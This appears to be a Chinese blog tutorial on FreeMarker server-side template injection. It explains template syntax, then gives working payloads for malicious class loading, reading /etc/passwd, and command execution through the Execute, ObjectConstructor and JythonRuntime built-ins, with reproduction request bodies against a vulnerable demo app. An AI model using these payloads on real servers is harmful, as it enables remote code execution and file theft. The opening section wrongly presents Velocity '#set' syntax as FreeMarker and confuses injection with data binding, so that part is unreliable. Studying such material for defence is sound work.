Freemarker 是一种模板引擎,它允许开发人员将模板文本注入到动态数据中,从而生成动态页面和其他文档。Freemarker 支持多种语法和功能,包括条件语句、循环语句、函数、表达式等等。开发人员可以使用这些语法和功能来构建模板,并动态注入数据。
Freemarker 模板引擎使用了一种称为“模板文本”的格式,这种格式可以包含变量、函数和其他语法。开发人员可以将模板文本注入到动态数据中,并使用 Freemarker 的语法和功能来生成动态页面和其他交互式 Web 应用程序。
模板编写为FreeMarker Template Language (FTL)。它是简单的,专用的语言, 不是 像PHP那样成熟的编程语言。那就意味着要准备数据在真实编程语言中来显示,比如数据库查询和业务运算, 之后模板显示已经准备好的数据。在模板中,你可以专注于如何展现数据, 而在模板之外可以专注于要展示什么数据。
模板注入方式
Freemarker 模板引擎支持多种注入方式,包括:
1.直接注入:直接注入模板文本中的变量和数据,以生成动态页面和其他交互式 Web 应用程序。这是最常见的注入方式,也是最简单的注入方式。
2.模板引用注入:使用模板引用来注入模板文本中的变量和数据,以生成动态页面和其他交互式 Web 应用程序。这种方式可以在模板中使用变量和数据,而不必将它们直接注入到模板中。
3.数据绑定注入:使用数据绑定技术,将数据与模板中的变量进行绑定,以生成动态页面和其他交互式 Web 应用程序。这种方式可以将数据与模板中的变量进行绑定,以便在模板中使用这些数据。
模板注入实现
在 Freemarker 中,模板注入可以通过两种方式实现:直接注入和模板引用注入。
直接注入:
直接注入是将模板文本中的变量和数据直接注入到模板中,以生成动态页面和其他交互式 Web 应用程序。在 Freemarker 中,可以使用“#”符号来注入变量和数据。例如,下面的代码将模板文本中的“$name”变量注入到模板中:
Copy code #set ($name = "John")
模板引用注入:
模板引用注入是将模板文本中的变量和数据通过模板引用注入到模板中,以生成动态页面和其他交互式 Web 应用程序。在 Freemarker 中,可以使用“#”符号和“!”符号来注入变量和数据。例如,下面的代码将模板文本中的“$name”变量注入到模板中,同时使用模板引用来注入数据:
Copy code #set ($name = "John") #set ($greeting = "Hello, $name!")
FTL 解析
这是官方的一个图片
意思是创建一个模板文件,ftl 里面写了一个变量
然后java 后端 使用setName方法给变量赋值,Freemarker渲染,输出变量内容
乍一看,很像html语法,但还是有些区别
文本:文本会照着原样来输出。 插值:这部分的输出会被计算的值来替换。插值由 ${ and } 所分隔(或者 #{ and },这种风格已经不建议再使用了)。 FTL 标签:FTL标签和HTML标签很相似,但是它们却是给FreeMarker的指示, 而且不会打印在输出内容中。 注释:注释和HTML的注释也很相似,但它们是由 <#-- 和 -->来分隔的。注释会被FreeMarker直接忽略, 更不会在输出内容中显示。
上面的插值,可理解为变量
<html> <head> <title>Welcome!</title> </head> <body> <h1>Welcome ${user}!</h1> <p>Our latest product: <a href="${latestProduct.url}">${latestProduct.name}</a>! </body> </html>
插值
FreeMarker的插值有如下两种类型
1、通用插值:${expr}
2、数字格式化插值:#{expr}或者#{expr;format}
通用插值,有可以分为四种情况
a、插值结果为字符串值:直接输出表达式结果
b、插值结果为数字值:根据默认格式(#setting 指令设置)将表达式结果转换成文本输出。可以使用内建的字符串函数格式单个插值,例如
<#setting number_format = "currency" /> <#assign price = 42 /> ${price} ${price?string} ${price?string.number} ${price?string.currency} ${price?string.percent}
内置函数
Freemarker 有很多内置函数,具体可参考官网说明:http://freemarker.foofun.cn/ref_builtins.html
这里讲两个和漏洞有关系的函数,api 和 new。
api内置函数
api内建函数并不能随意使用,必须在配置项api_builtin_enabled为true时才有效,而该配置在2.3.22版本之后默认为false
如果value本身支持这个额外的特性, value?api 提供访问 value 的API (通常是 Java API),比如 value?api.someJavaMethod()
常见的两种利用方式:
1、通过内建函数api获取类的classloader然后加载恶意类
2、通过Class.getResource的返回值来访问URI对象。URI对象包含toURL和create方法,通过这两个方法创建任意URI,然后用toURL访问任意URL。
加载恶意类的 Payload 如下:
<#assign classLoader=object?api.class.getClassLoader()>${classLoader.loadClass("Evil.class")}
任意文件读取的 Payload 如下:
<#assign uri=object?api.class.getResource("/").toURI()> <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()> <#assign is=input?api.getInputStream()> FILE:[<#list 0..999999999 as _> <#assign byte=is.read()> <#if byte == -1> <#break> </#if> ${byte}, </#list>]
new内置函数
new 函数可以创建一个继承自 freemarker.template.TemplateModel 类的变量,利用这一点能达到执行任意代码的目的。
方法一:
freemarker.template.utility 里有个 Execute 类,有一个exec方法,然后会调用 Runtime.getRuntime().exec()函数执行它的 aExecute 变量参数值,因此这里可以使用 new 函数传输想要执行的命令作为 aExecute 参数值,从而执行命令。
freemarker.template.utility.Execute 部分文件代码如下:
构造 payload 如下:
<#assign value="freemarker.template.utility.Execute"?new()>${value("open -a Calculator")}
方法二:
freemarker.template.utility 里有个 ObjectConstructor 类,这个类会把它的参数作为名称构造一个实例化对象。
因此也可以利用这一点构造一个可执行命令的对象,从而 RCE
构造 payload 如下:
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","open","-a","Calculator").start()}
方法三:
freemarker.template.utility 里有个 JythonRuntime 类,这里可以通过自定义标签的方式执行 Python 命令,从而构造远程命令执行。
Payload:
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("open -a Calculator")
漏洞复现
https://github.com/pawelkaliniakit/springboot-freemarker-ssti
访问hello
访问template接口
Payload1:
{"hello.ftl":"<!DOCTYPE html><html lang=\"en\"><head><meta charset=\"UTF-8\"><#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"open -a calculator\")}</head><body></body></html>"}
然后重新访问hello接口,触发命令。
Payload2:
{"hello.ftl":"<!DOCTYPE html><html lang=\"en\"><head><meta charset=\"UTF-8\"><#assign value=\"freemarker.template.utility.ObjectConstructor\"?new()>${value(\"java.lang.ProcessBuilder\",\"open\",\"-a\",\"Calculator\").start()}</head><body></body></html>"}
payload3:
{"hello.ftl":"<!DOCTYPE html><html lang=\"en\"><head><meta charset=\"UTF-8\"><#assign value=\"freemarker.template.utility.JythonRuntime\"?new()><@value>import os;os.system(\"open -a calculator\")</@value></head><body></body></html>"}
报错,添加jython依赖,报错内容更多,难不成版本问题
于是更改 jython 为 jython-standalone
<dependency> <groupId>org.python</groupId> <artifactId>jython-standalone</artifactId> <version>2.7.0</version> </dependency>
成功执行